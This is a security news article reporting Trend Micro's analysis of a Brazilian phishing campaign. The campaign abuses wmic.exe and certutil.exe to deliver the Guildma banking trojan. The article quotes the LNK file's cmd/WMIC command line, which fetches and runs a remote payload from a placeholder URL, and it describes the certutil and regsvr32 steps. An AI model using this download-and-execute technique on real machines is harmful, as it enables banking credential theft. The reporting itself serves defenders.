Monday, June 17, 2024

New Malware Abusing Two Legitimate Windows Files to Steal Victims Personal Data

Researchers discovered a new malware that abusing two legitimate windows files and use it against compromised victims to steal sensitive information.

One file wmic.exe is a command line utility and the other file certutil.exe is a program that manages certificates for Windows.

These files are used for download the payload on the infected windows machine and also other files that later used for malicious purpose.

Attackers using more evasion techniques in this campaign and both files are already used by other malware but current attack integrate both files.

Researchers believe that the cybercriminals behind the malware attack using powerful tools and techniques to perform more stealthy operations.

How Does this Malware Abusing Legitimate Windows files

The initial stage of infection starts from the malicious email campaign that targeting users along with urgency notification content of postal service of Brazil to trick users to click the links inside of the email that posed as users missed the postal delivery attempt.

Attacker trick user to click the embedded link by saying that they can find the more details by clicking the link.

Once the victims click the link and the new windows pop-up that attempts to download a malicious Zip file.

According to Trend Micro report,Once the zip file is downloaded and extracted, the user will be presented with an LNK file (detected as Trojan.LNK.DLOADR.AUSUJM). The LNK file will then point to cmd.exe using the following parameter:
/k start /MIN %WINDIR$\\system32\\wbem\\WMIC.exe os get /format {URL} && exit
The cmd.exe is responsible for executing wmic.exe via the following parameter:
os get /format {URL}

After the execution of cmd.exe attempt to download and execute the command from its command & control server.

It drops the copy of the Windows Files certutil.exe in the %temp% folder in a different name and the next process involved to make an attempt to communicate with the new C&C server to download a new set of files.

Here comes the main payload which detected as TSPY_GUILDMA.C by Trend Micro and the researchers believes that the payload shows that it is a banking malware that only works when the target’s language is set to Portuguese.

Finally, the Payload will be executed on victims machine using regsvr32.exe to steal banking information such as transaction details and login credentials.

Also Read:

New Adwind RAT Attack Linux, Windows and Mac via DDE Code Injection Technique by Evading Antivirus Software

Java Usage Tracker Critical Flaw Enable Hackers to Inject Arbitrary Files on Windows Systems


Latest articles

Sleepy Pickle Exploit Let Attackers Exploit ML Models And Attack End-Users

Hackers are targeting, attacking, and exploiting ML models. They want to hack into these...

SolarWinds Serv-U Vulnerability Let Attackers Access sensitive files

SolarWinds released a security advisory for addressing a Directory Traversal vulnerability which allows a...

Smishing Triad Hackers Attacking Online Banking, E-Commerce AND Payment Systems Customers

Hackers often attack online banking platforms, e-commerce portals, and payment systems for illicit purposes.Resecurity...

Threat Actor Claiming Leak Of 5 Million Ecuador’s Citizen Database

A threat actor has claimed responsibility for leaking the personal data of 5 million...

Ascension Hack Caused By an Employee Who Downloaded a Malicious File

Ascension, a leading healthcare provider, has made significant strides in its investigation and recovery...

AWS Announced Malware Detection Tool For S3 Buckets

Amazon Web Services (AWS) has announced the general availability of Amazon GuardDuty Malware Protection...

Hackers Exploiting MS Office Editor Vulnerability to Deploy Keylogger

Researchers have identified a sophisticated cyberattack orchestrated by the notorious Kimsuky threat group.The...
BALAJI is an Ex-Security Researcher (Threat Research Labs) at Comodo Cybersecurity. Editor-in-Chief & Co-Founder - Cyber Security News & GBHackers On Security.

Free Webinar

API Vulnerability Scanning

71% of the internet traffic comes from APIs so APIs have become soft targets for hackers.Securing APIs is a simple workflow provided you find API specific vulnerabilities and protect them.In the upcoming webinar, join Vivek Gopalan, VP of Products at Indusface as he takes you through the fundamentals of API vulnerability scanning..
Key takeaways include:

  • Scan API endpoints for OWASP API Top 10 vulnerabilities
  • Perform API penetration testing for business logic vulnerabilities
  • Prioritize the most critical vulnerabilities with AcuRisQ
  • Workflow automation for this entire process

Related Articles